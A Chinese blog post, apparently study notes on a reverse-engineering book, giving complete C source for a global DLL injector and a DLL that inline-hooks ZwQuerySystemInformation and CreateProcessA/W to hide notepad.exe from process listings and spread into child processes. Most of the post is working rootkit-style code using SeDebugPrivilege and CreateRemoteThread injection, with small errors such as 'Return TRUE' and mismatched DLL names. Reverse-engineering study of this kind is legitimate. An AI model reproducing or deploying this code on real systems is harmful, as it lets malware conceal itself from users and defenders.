通过注入DLL修改API代码实现钩取(一)
通过注入DLL修改API代码实现钩取(一)
Ox00 大致思路
- 通过CreateRemoteThread函数开辟新线程,并将DLL注入进去
- 通过GetProcessAddress函数找到需钩取的API地址。
- 修改制定的API的前五个字节,让其跳往我们自己设计的函数
- 函数执行完功能后返回
本实验目标:注入指定dll后隐藏我们的目标进程。
下面两图表示了API钩取之前与API被钩取之后程序的执行过程:
其实明白之后发现原理并不是很难,无非就是先获取到API函数的地址,然后再把原先API的首地址改为JMP 指令跳往指定函数,当然,如果指定函数不调用原API,就无需先脱钩,如果新的函数需调用原先的API则先脱钩再调用,执行完再次钩取。
Ox01 确定要钩取的API
我们的目的实现进程的隐藏,所以就要关注那些能够实现进程查询的API 。
一般来说有两个常用的API:
1)CreateToolSnapShot()API
HANDLE CreateToolhelp32Snapshot(
DWORD dwFlags,
DWORD th32ProcessID
);
2)ZwQuerySystemInformation()API
NTSTATUS WINAPI ZwQuerySystemInformation(
_In_ SYSTEM_INFORMATION_CLASS SystemInformationClass,
_Inout_ PVOID SystemInformation,
_In_ ULONG SystemInformationLength,
_Out_opt_ PULONG ReturnLength
);
查阅了资料知道ZwQuerySystemInformation()函数是更为底层的函数,而CreateToolhelp32Snapshot()也是调用这个函数实现进程信息查询的。通过ZwQuerySystemInformation可以获取正在运行的所有进程的信息,并放在一个结构体的链表中。
确定了要钩取的API我们还有考虑几个问题:
1)需要钩取几个进程
答:所有正在调用ZwQuerySystemInformation的进程。
2)新建的进程也调用了ZwQuerySystemInformation该怎么办?
答:我们也需要在钩取创建进程的API。所以我们还要钩取创建CreateProcessA()API以及CreateProcessW()API。
0x02 注入dll的代码实现
#include "windows.h"
#include "stdio.h"
#include "tlhelp32.h"
#include "tchar.h"
enum {INJECTION_MODE = 0, EJECTION_MODE};
BOOL SetPrivilege(LPCTSTR lpszPrivilege, BOOL bEnablePrivilege)
{
TOKEN_PRIVILEGES tp;
HANDLE hToken;
LUID luid;
if( !OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,
&hToken) )
{
printf("OpenProcessToken error: %u\n", GetLastError());
return FALSE;
}
if( !LookupPrivilegeValue(NULL, // lookup privilege on local system
lpszPrivilege, // privilege to lookup
&luid) ) // receives LUID of privilege
{
printf("LookupPrivilegeValue error: %u\n", GetLastError() );
return FALSE;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
if( bEnablePrivilege )
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
else
tp.Privileges[0].Attributes = 0;
// Enable the privilege or disable all privileges.
if( !AdjustTokenPrivileges(hToken,
FALSE,
&tp,
sizeof(TOKEN_PRIVILEGES),
(PTOKEN_PRIVILEGES) NULL,
(PDWORD) NULL) )
{
printf("AdjustTokenPrivileges error: %u\n", GetLastError() );
return FALSE;
}
if( GetLastError() == ERROR_NOT_ALL_ASSIGNED )
{
printf("The token does not have the specified privilege. \n");
return FALSE;
}
return TRUE;
}
BOOL InjectDll(DWORD dwPID, LPCTSTR szDllPath)
{
HANDLE hProcess, hThread;
LPVOID pRemoteBuf;
DWORD dwBufSize = (DWORD)(_tcslen(szDllPath) + 1) * sizeof(TCHAR);
LPTHREAD_START_ROUTINE pThreadProc;
if ( !(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID)) )
{
printf("OpenProcess(%d) failed!!!\n", dwPID);
return FALSE;
}
pRemoteBuf = VirtualAllocEx(hProcess, NULL, dwBufSize,
MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(hProcess, pRemoteBuf,
(LPVOID)szDllPath, dwBufSize, NULL);
pThreadProc = (LPTHREAD_START_ROUTINE)
GetProcAddress(GetModuleHandle(L"kernel32.dll"),
"LoadLibraryW");
hThread = CreateRemoteThread(hProcess, NULL, 0,
pThreadProc, pRemoteBuf, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
VirtualFreeEx(hProcess, pRemoteBuf, 0, MEM_RELEASE);
CloseHandle(hThread);
CloseHandle(hProcess);
return TRUE;
}
BOOL EjectDll(DWORD dwPID, LPCTSTR szDllPath)
{
BOOL bMore = FALSE, bFound = FALSE;
HANDLE hSnapshot, hProcess, hThread;
MODULEENTRY32 me = { sizeof(me) };
LPTHREAD_START_ROUTINE pThreadProc;
if( INVALID_HANDLE_VALUE ==
(hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, dwPID)) )
return FALSE;
bMore = Module32First(hSnapshot, &me);
for( ; bMore ; bMore = Module32Next(hSnapshot, &me) )
{
if( !_tcsicmp(me.szModule, szDllPath) ||
!_tcsicmp(me.szExePath, szDllPath) )
{
bFound = TRUE;
break;
}
}
if( !bFound )
{
CloseHandle(hSnapshot);
return FALSE;
}
if( !(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID)) )
{
printf("OpenProcess(%d) failed!!!\n", dwPID);
CloseHandle(hSnapshot);
return FALSE;
}
pThreadProc = (LPTHREAD_START_ROUTINE)
GetProcAddress(GetModuleHandle(L"kernel32.dll"),
"FreeLibrary");
hThread = CreateRemoteThread(hProcess, NULL, 0,
pThreadProc, me.modBaseAddr, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
CloseHandle(hProcess);
CloseHandle(hSnapshot);
return TRUE;
}
BOOL InjectAllProcess(int nMode, LPCTSTR szDllPath)
{
DWORD dwPID = 0;
HANDLE hSnapShot = INVALID_HANDLE_VALUE;
PROCESSENTRY32 pe;
// Get the snapshot of the system
pe.dwSize = sizeof( PROCESSENTRY32 );
hSnapShot = CreateToolhelp32Snapshot( TH32CS_SNAPALL, NULL );
// find process
Process32First(hSnapShot, &pe);
do
{
dwPID = pe.th32ProcessID;
// PID小于100的不注入
//起的注入指定的DLL
if( dwPID < 100 )
continue;
if( nMode == INJECTION_MODE )
InjectDll(dwPID, szDllPath);
else
EjectDll(dwPID, szDllPath);
} while( Process32Next(hSnapShot, &pe) );
CloseHandle(hSnapShot);
return TRUE;
}
int _tmain(int argc, TCHAR* argv[])
{
int nMode = INJECTION_MODE;
if( argc != 3 )
{
printf("\n Usage : HideProc2.exe <-hide|-show> <dll path>\n\n");
return 1;
}
// change privilege
SetPrivilege(SE_DEBUG_NAME, TRUE);
// Inject(Eject) Dll to all process
if( !_tcsicmp(argv[1], L"-show") )
nMode = EJECTION_MODE;
//第三个参数argv[2]为要注入的DLL名称
InjectAllProcess(nMode, argv[2]);
return 0;
}
这个和以前的注入代码没啥区别。仔细看应该就能看懂。
编译生成HideProc2.exe文件。
0x03 隐藏进程的dll的实现
代码如下:
#include "windows.h"
#include "stdio.h"
#include "tchar.h"
#define STR_MODULE_NAME (L"stealth2.dll")
#define STR_HIDE_PROCESS_NAME (L"notepad.exe")
#define STATUS_SUCCESS (0x00000000L)
typedef LONG NTSTATUS;
//系统信息结构体
typedef enum _SYSTEM_INFORMATION_CLASS {
SystemBasicInformation = 0,
SystemPerformanceInformation = 2,
SystemTimeOfDayInformation = 3,
SystemProcessInformation = 5,
SystemProcessorPerformanceInformation = 8,
SystemInterruptInformation = 23,
SystemExceptionInformation = 33,
SystemRegistryQuotaInformation = 37,
SystemLookasideInformation = 45
} SYSTEM_INFORMATION_CLASS;
//进程信息结构体
typedef struct _SYSTEM_PROCESS_INFORMATION {
ULONG NextEntryOffset;
BYTE Reserved1[52];
PVOID Reserved2[3];
HANDLE UniqueProcessId;
PVOID Reserved3;
ULONG HandleCount;
BYTE Reserved4[4];
PVOID Reserved5[11];
SIZE_T PeakPagefileUsage;
SIZE_T PrivatePageCount;
LARGE_INTEGER Reserved6[6];
} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;
//PFZWQUERYSYSTEMINFORMATION是一个函数指针
/*
一个指向参数为
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
的返回值类型为NTSTATUS的函数,这个函数其实就是ZwQuerySystemInformation()API函数,NTSTATUS是一个长整型数。
*/
typedef NTSTATUS (WINAPI *PFZWQUERYSYSTEMINFORMATION)(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength);
/*
PFCREATEPROCESSA是一个函数指针
这个指针指向参数为:
LPCTSTR lpApplicationName,
LPTSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCTSTR lpCurrentDirectory,
LPSTARTUPINFO lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation
的返回值类型为BOOL的函数,这个函数其实就是CreateProcessA()API函数
*/
typedef BOOL (WINAPI *PFCREATEPROCESSA)(
LPCTSTR lpApplicationName,
LPTSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCTSTR lpCurrentDirectory,
LPSTARTUPINFO lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation
);
/*
PFCREATEPROCESSW是一个函数指针
这个指针指向参数为:
LPCTSTR lpApplicationName,
LPTSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCTSTR lpCurrentDirectory,
LPSTARTUPINFO lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation
的返回值类型为BOOL的函数,这个函数其实就是CreateProcessW()API函数
*/
typedef BOOL (WINAPI *PFCREATEPROCESSW)(
LPCTSTR lpApplicationName,
LPTSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCTSTR lpCurrentDirectory,
LPSTARTUPINFO lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation
);
BYTE g_pOrgCPA[5] = {0,};
BYTE g_pOrgCPW[5] = {0,};
BYTE g_pOrgZwQSI[5] = {0,};
//替换原API函数首地址的前五个字节为NewCreateProcessA和NewCreateProcessW
BOOL hook_by_code(LPCSTR szDllName, LPCSTR szFuncName, PROC pfnNew, PBYTE pOrgBytes)
{
FARPROC pFunc;
DWORD dwOldProtect, dwAddress;
BYTE pBuf[5] = {0xE9, 0, };
PBYTE pByte;
pFunc = (FARPROC)GetProcAddress(GetModuleHandleA(szDllName), szFuncName);
pByte = (PBYTE)pFunc;
if( pByte[0] == 0xE9 )
return FALSE;
VirtualProtect((LPVOID)pFunc, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect);
memcpy(pOrgBytes, pFunc, 5);
dwAddress = (DWORD)pfnNew - (DWORD)pFunc - 5;
memcpy(&pBuf[1], &dwAddress, 4);
memcpy(pFunc, pBuf, 5);
VirtualProtect((LPVOID)pFunc, 5, dwOldProtect, &dwOldProtect);
return TRUE;
}
//将被替换的API函数前五个字节换回去
BOOL unhook_by_code(LPCSTR szDllName, LPCSTR szFuncName, PBYTE pOrgBytes)
{
FARPROC pFunc;
DWORD dwOldProtect;
PBYTE pByte;
pFunc = (FARPROC)GetProcAddress(GetModuleHandleA(szDllName), szFuncName);
pByte = (PBYTE)pFunc;
if( pByte[0] != 0xE9 )
return FALSE;
VirtualProtect((LPVOID)pFunc, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect);
memcpy(pFunc, pOrgBytes, 5);
VirtualProtect((LPVOID)pFunc, 5, dwOldProtect, &dwOldProtect);
Return TRUE;
}
//提权函数
BOOL SetPrivilege(LPCTSTR lpszPrivilege, BOOL bEnablePrivilege)
{
TOKEN_PRIVILEGES tp;
HANDLE hToken;
LUID luid;
if( !OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,
&hToken) )
{
printf("OpenProcessToken error: %u\n", GetLastError());
return FALSE;
}
if( !LookupPrivilegeValue(NULL, // lookup privilege on local system
lpszPrivilege, // privilege to lookup
&luid) ) // receives LUID of privilege
{
printf("LookupPrivilegeValue error: %u\n", GetLastError() );
return FALSE;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
if( bEnablePrivilege )
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
else
tp.Privileges[0].Attributes = 0;
// Enable the privilege or disable all privileges.
if( !AdjustTokenPrivileges(hToken,
FALSE,
&tp,
sizeof(TOKEN_PRIVILEGES),
(PTOKEN_PRIVILEGES) NULL,
(PDWORD) NULL) )
{
printf("AdjustTokenPrivileges error: %u\n", GetLastError() );
return FALSE;
}
if( GetLastError() == ERROR_NOT_ALL_ASSIGNED )
{
printf("The token does not have the specified privilege. \n");
return FALSE;
}
return TRUE;
}
//注入函数,使用这个函数向新建的子进程注入stealth2.dll
BOOL InjectDll2(HANDLE hProcess, LPCTSTR szDllName)
{
HANDLE hThread;
LPVOID pRemoteBuf;
DWORD dwBufSize = (DWORD)(_tcslen(szDllName) + 1) * sizeof(TCHAR);
FARPROC pThreadProc;
pRemoteBuf = VirtualAllocEx(hProcess, NULL, dwBufSize,
MEM_COMMIT, PAGE_READWRITE);
if( pRemoteBuf == NULL )
return FALSE;
WriteProcessMemory(hProcess, pRemoteBuf, (LPVOID)szDllName,
dwBufSize, NULL);
pThreadProc = GetProcAddress(GetModuleHandleA("kernel32.dll"),
"LoadLibraryW");
hThread = CreateRemoteThread(hProcess, NULL, 0,
(LPTHREAD_START_ROUTINE)pThreadProc,
pRemoteBuf, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
VirtualFreeEx(hProcess, pRemoteBuf, 0, MEM_RELEASE);
CloseHandle(hThread);
return TRUE;
}
//创建新的ZwQuerySystemInformation函数
NTSTATUS WINAPI NewZwQuerySystemInformation(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength)
{
NTSTATUS status;
FARPROC pFunc;
PSYSTEM_PROCESS_INFORMATION pCur, pPrev;
char szProcName[MAX_PATH] = {0,};
//调用原始API前先脱钩
unhook_by_code("ntdll.dll", "ZwQuerySystemInformation", g_pOrgZwQSI);
//获取模块ntdll的函数ZwQuerySystemInformation的地址
pFunc = GetProcAddress(GetModuleHandleA("ntdll.dll"),
"ZwQuerySystemInformation");
//通过指针调用ZwQuerySystemInformation返回进程信息链表的首地址到SystemInformation。
status = ((PFZWQUERYSYSTEMINFORMATION)pFunc)
(SystemInformationClass, SystemInformation,
SystemInformationLength, ReturnLength);
//获取失败则退出
if( status != STATUS_SUCCESS )
goto __NTQUERYSYSTEMINFORMATION_END;
//当调用获取到的是进程信息时(SystemInformationClass这个参数可以是进程信息类,也可以是其他,具体的取MSDN上查询)
if( SystemInformationClass == SystemProcessInformation )
{
pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;
while(TRUE)
{
if(pCur->Reserved2[1] != NULL)
{
//找到notePad.exe后操作链表将其删除,这样就达到了隐藏的目的
if(!_tcsicmp((PWSTR)pCur->Reserved2[1], STR_HIDE_PROCESS_NAME))
{
if(pCur->NextEntryOffset == 0)
pPrev->NextEntryOffset = 0;
else
pPrev->NextEntryOffset += pCur->NextEntryOffset;
}
else
pPrev = pCur;
}
if(pCur->NextEntryOffset == 0)
break;
//让指针指向下一项
pCur = (PSYSTEM_PROCESS_INFORMATION)((ULONG)pCur + pCur->NextEntryOffset);
}
}
__NTQUERYSYSTEMINFORMATION_END:
//退出之前先钩取,为下次循环做准备
hook_by_code("ntdll.dll", "ZwQuerySystemInformation",
(PROC)NewZwQuerySystemInformation, g_pOrgZwQSI);
return status;
}
//新建的CreateProcessA函数
BOOL WINAPI NewCreateProcessA(
LPCTSTR lpApplicationName,
LPTSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCTSTR lpCurrentDirectory,
LPSTARTUPINFO lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation
)
{
BOOL bRet;
//FARPROC是一个指向far过程的指针JMP跳转至指定far过程用得着
FARPROC pFunc;
// 调用原始API之前先脱钩unhook
unhook_by_code("kernel32.dll", "CreateProcessA", g_pOrgCPA);
// 调用原始的API
pFunc = GetProcAddress(GetModuleHandleA("kernel32.dll"), "CreateProcessA");
bRet = ((PFCREATEPROCESSA)pFunc)(lpApplicationName,
lpCommandLine,
lpProcessAttributes,
lpThreadAttributes,
bInheritHandles,
dwCreationFlags,
lpEnvironment,
lpCurrentDirectory,
lpStartupInfo,
lpProcessInformation);
// 向生成的子进程注入stealth32.dll
if( bRet )
InjectDll2(lpProcessInformation->hProcess, STR_MODULE_NAME);
// 功能完成之后再次钩取APIhook,为下次循环做准备
hook_by_code("kernel32.dll", "CreateProcessA",
(PROC)NewCreateProcessA, g_pOrgCPA);
return bRet;
}
//新建的NewCreateProcessW函数
BOOL WINAPI NewCreateProcessW(
LPCTSTR lpApplicationName,
LPTSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCTSTR lpCurrentDirectory,
LPSTARTUPINFO lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation
)
{
BOOL bRet;
FARPROC pFunc;
//// 调用原始API之前先脱钩unhook
unhook_by_code("kernel32.dll", "CreateProcessW", g_pOrgCPW);
//调用原来的API
pFunc = GetProcAddress(GetModuleHandleA("kernel32.dll"), "CreateProcessW");
bRet = ((PFCREATEPROCESSW)pFunc)(lpApplicationName,
lpCommandLine,
lpProcessAttributes,
lpThreadAttributes,
bInheritHandles,
dwCreationFlags,
lpEnvironment,
lpCurrentDirectory,
lpStartupInfo,
lpProcessInformation);
// 向新生成的子进程注入stealth2.dll
if( bRet )
InjectDll2(lpProcessInformation->hProcess, STR_MODULE_NAME);
// 再次钩取API,为下次循环做准备
hook_by_code("kernel32.dll", "CreateProcessW",
(PROC)NewCreateProcessW, g_pOrgCPW);
return bRet;
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
char szCurProc[MAX_PATH] = {0,};
char *p = NULL;
// 异常处理是注入不会发生在HideProc2.exe进程
GetModuleFileNameA(NULL, szCurProc, MAX_PATH);
p = strrchr(szCurProc, '\\');
if( (p != NULL) && !_stricmp(p+1, "HideProc2.exe") )
return TRUE;
// 提权
SetPrivilege(SE_DEBUG_NAME, TRUE);
switch( fdwReason )
{
case DLL_PROCESS_ATTACH :
// DLL载入后钩取三个API
hook_by_code("kernel32.dll", "CreateProcessA",
(PROC)NewCreateProcessA, g_pOrgCPA);
hook_by_code("kernel32.dll", "CreateProcessW",
(PROC)NewCreateProcessW, g_pOrgCPW);
hook_by_code("ntdll.dll", "ZwQuerySystemInformation",
(PROC)NewZwQuerySystemInformation, g_pOrgZwQSI);
break;
case DLL_PROCESS_DETACH :
// DLL卸载后对三个API脱钩
unhook_by_code("kernel32.dll", "CreateProcessA",
g_pOrgCPA);
unhook_by_code("kernel32.dll", "CreateProcessW",
g_pOrgCPW);
unhook_by_code("ntdll.dll", "ZwQuerySystemInformation",
g_pOrgZwQSI);
break;
}
return TRUE;
}
上诉代码我已经写出了详细注释,相信熟悉注入的同志都能看懂。
编译生成stealth2.dll文件。
0x04 验证
打开notepad.exe,打开processexploer查看pid,如下图:
管理员权限打开cmd,将stealth2.dll放入system目录下,以便windows能够找到,将HideProc2.exe放入D盘,在cmd窗口输入HideProc2.exe -hide stealth2.dll,
我们看到processexploer已经看不到notepad了,而且瞬间看到cpu飙升,因为此时每个调用ZwQuerySystemInformation函数,以及调用CreateProcessA和CreateProcessW的进程都载入了stealth3.dll。我们可以输入HideProc2.exe -show stealth2.dll 实现卸载。
0x04 问题汇总
- 被注入的DLL一定要有输出函数吗?怎么看到有些注入用了,有些没用?
答:不是必须的,如果注入程序需要向被注入的DLL传参就需要。
2.LoadLibrary和GetMoudileHandle怎么总感觉相似?
答:LoadLibrary是用来把某个模块载入进程的地址空间的,而GetModuleHandle则是用来获取的已经加载的模块的。
3.我注入时只是输入的DLL的名称,程序是怎么找到这个DLL的?
答:其实这个不需要担心,因为这个是windows自动完成的,它搜寻指定的DLL的顺序是
1)当前进程的可执行模块所在的目录。
2)当前目录。
3)Windows 系统目录。 GetSystemDirectory 函数检索此目录的路径。
4)Windows 目录。 GetWindowsDirectory 函数检索此目录的路径。
5)PATH 环境变量中列出的目录。
4.strrchr函数是干嘛的?
答:strrchr这个函数有意思,感觉专门是为查找路径中exe或者某个文件名所准备的,比如strrchr(szCurProc, '\\');,返回的是最后一次出现\\的位置,即exe名或者文件名。
以上是我在看《逆向工程核心原理》关于注入时遇到的一些疑问与解答。
通过注入DLL修改API代码实现钩取(一)的更多相关文章
- 通过注入DLL后使用热补丁钩取API
通过注入DLL后使用热补丁钩取API 0x00 对比修改API的前五个字节钩取API 对前一种方法钩取API的流程梳理如下: 注入相应的DLL 修改原始AI的函数的前五个字节跳往新函数(钩取API) ...
- 《逆向工程核心原理》Windows消息钩取
DLL注入--使用SetWindowsHookEx函数实现消息钩取 MSDN: SetWindowsHookEx Function The SetWindowsHookEx function inst ...
- DLL注入之修改PE静态注入
DLL注入之修改PE静态注入 0x00 前言 我们要注入的的力量功能是下载baidu首页数据.代码如下: #include "stdio.h" #include"stdi ...
- 通过修改EIP寄存器实现强行跳转并且注入DLL到目标进程里
/* 描述 功能:通过修改EIP寄存器实现32位程序的DLL注入(如果是64位,记得自己对应修改汇编代码部分) 原理: 挂起目标进程,停止目标进程EIP的变换,在目标进程开启空间,然后把相关的指令机器 ...
- DLL注入之windows消息钩取
DLL注入之windows消息钩取 0x00 通过Windows消息的钩取 通过Windows消息钩取可以使用SetWindowsHookEx.该函数的原型如下: SetWindowsHookEx( ...
- Windows x86/ x64 Ring3层注入Dll总结
欢迎转载,转载请注明出处:http://www.cnblogs.com/uAreKongqi/p/6012353.html 0x00.前言 提到Dll的注入,立马能够想到的方法就有很多,比如利用远程线 ...
- 调试钩取技术 - 记事本WriteFile() API钩取
@author: dlive 0x01 简介 本章将讲解前面介绍过的调试钩取技术,钩取记事本的kernel32!WriteFile() API 调试钩取技术能进行与用户更具有交互性(interacti ...
- x64 下记事本WriteFile() API钩取
<逆向工程核心原理>第30章 记事本WriteFile() API钩取 原文是在x86下,而在x64下函数调用方式为fastcall,前4个参数保存在寄存器中.在原代码基础上进行修改: 1 ...
- N种内核注入DLL的思路及实现
内核注入,技术古老但很实用.现在部分RK趋向无进程,玩的是SYS+DLL,有的无文件,全部存在于内存中.可能有部分人会说:"都进内核了.什么不能干?".是啊,要是内核中可以做包括R ...
随机推荐
- 第一章04-Activity中常用的标志位
Activity的LaunchMode Android中提供了四中Activity的启动模式 1. standard 2. singleTop 3. singleTask 4. signleInsta ...
- SqlServer下一些实用的sql语句收集
清理数据库日志 USE [master] ALTER DATABASE [表名] SET RECOVERY SIMPLE WITH NO_WAIT ALTER DATABASE [表名] SET RE ...
- Nice Jquery Validator 方法
.validator() .validator( options ) 描述:根据参数初始化验证,验证 jQuery 选中的表单 参数:{Object} options - 可选,参考配置选项 示例: ...
- @hdu - 5822@ color
目录 @description@ @solution@ @accepted code@ @details@ @description@ 给定一个每个点出度都为 1 的有向连通图以及 m 种颜色.求本质 ...
- Django 源码阅读笔记(基础视图)
django源码解读之 View View. ContextMixin.TemplateResponseMixin.TemplateView.RedirectView View class View( ...
- [每日一题2020.06.11]Codeforces Round #644 (Div. 3) H
A-E见 : 这里 题目 我觉得很有必要把H拿出来单独发( 其实是今天懒得写题了 ) problem H 一个从 1 到 $ 2^m - 1$ 的长度为m的连续二进制序列, 删去指定的n个数, 问剩余 ...
- IDEA Gradle项目控制台输出乱码
idea 更新到2019.2.3没有这个选项. 可以点击 help->edit custom vm options 然后加上 -Dfile.encoding=utf-8 重启一下就好了
- 记一次Idea+Gradle编译Spring源码遇到的坑
打算开始研究Spring源码,于是照着书上的指导从网上下载了Spring5.0.2版本和Gradle4.0(必须JDK1.8.60以上),本地编译的时候没有任何问题,就是导入Idea的时候一直报下面这 ...
- 恕我直言你可能真的不会java第3篇:Stream的Filter与谓词逻辑
一.基础代码准备 建立一个实体类,该实体类有五个属性.下面的代码使用了lombok的注解Data.AllArgsConstructor,这样我们就不用写get.set方法和全参构造函数了.lombok ...
- SpringBoot 构建 Docker 镜像的 3 种方式
本文将介绍3种技术,通过 Maven 把 SpringBoot 应用构建成 Docker 镜像. (1)使用 spring-boot-maven-plugin 内置的 build-image. (2) ...